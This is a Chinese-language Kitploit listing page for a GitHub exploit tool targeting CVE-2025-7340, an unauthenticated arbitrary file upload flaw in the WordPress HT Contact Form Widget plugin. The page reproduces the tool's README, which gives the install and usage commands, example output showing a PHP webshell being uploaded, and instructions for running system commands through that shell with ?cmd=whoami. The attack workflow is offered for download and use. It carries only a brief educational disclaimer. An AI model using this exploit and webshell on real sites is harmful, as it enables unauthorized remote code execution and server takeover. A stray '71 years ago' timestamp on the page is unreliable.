Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-7340 — HT Contact Form Widget 适用于 Elementor 页面构建器、Gutenberg 区块与表单构建器。<= 2.2.1 - 未认证任意文件上传 | Kitploit
工具/GitHubGitHub/nxploited/cve-2025-7340
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubnxploited/cve-2025-7340

CVE-2025-7340

HT Contact Form Widget 适用于 Elementor 页面构建器、Gutenberg 区块与表单构建器。<= 2.2.1 - 未认证任意文件上传

查看仓库
71年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🚨 HT Contact Form Widget <= 2.2.1 - 未认证任意文件上传 (CVE-2025-7340)

CVE: CVE-2025-7340
CVSS: 9.8 (严重)

📝 描述

WordPress 插件 HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder. 由于 temp_file_upload 函数缺少文件类型验证,在包括 2.2.1 在内的所有版本中均存在任意文件上传漏洞。

这允许未认证的攻击者向服务器上传任意文件,从而可能导致远程代码执行 (RCE)。


⚡ 漏洞利用脚本

此仓库包含一个 Python 漏洞利用脚本,可自动发现存在漏洞的表单并向受影响站点上传 WebShell。

该脚本能智能检测所需参数(nonce、form_id、ajax endpoint),并将 PHP Shell 上传到漏洞路径。

✅ 漏洞表单 URL 示例:

root@kitploit:~
http://target.com/contact/

✅ 易受攻击的表单必须位于您传给 -u 选项的页面上。


📦 依赖

运行脚本之前,请安装所需的 Python 模块:

root@kitploit:~
pip install -r requirements.txt

requirements.txt 的内容:

root@kitploit:~
requests
colorama

🧰 用法

root@kitploit:~
usage: CVE-2025-7340.py [-h] 

Exploit for CVE-2025-7340 - Unauthenticated Arbitrary File Upload | by Khaled Alenazi (Nxploited)

options:
  -h, --help     show this help message and exit
  -u, --url URL  Target URL e.g http(s)://target.com

选项:

选项描述
-h, --help显示此帮助消息并退出
-u, --url URL目标 URL,例如 http(s)://target.com/contact

🐚 WebShell 用法

利用成功后,您可以在给定路径访问上传的 Shell。

附加 ?cmd=<your_command> 以执行系统命令。

✅ 示例:

root@kitploit:~
http://target.com/wp-content/uploads/ht_form/temp/shell.php?cmd=whoami

🖥️ 示例输出

root@kitploit:~
Starting exploit against target...
Fetching target page...
Extracting parameters...
Extracted Nonce: 346c441903
AJAX Endpoint: http://nxploit.ddev.site/wp-admin/admin-ajax.php
Form ID: 86
Generating webshell...
Uploading shell, please wait...

[+] Exploit Successfully!

Go to: wp-content/uploads/ht_form/temp/687590d90ac1c-shell.php

Exploit by: Khaled Alenazi (Nxploited) - GitHub: https://github.com/Nxploited

🛑 免责声明

本工具仅用于教育和研究目的。
作者不对任何因使用或滥用此代码而造成的损害负责。
在对任何系统进行测试之前,请务必获得明确许可。


👨‍💻 作者

Khaled Alenazi (Nxploited)
GitHub: Nxploited

下载工具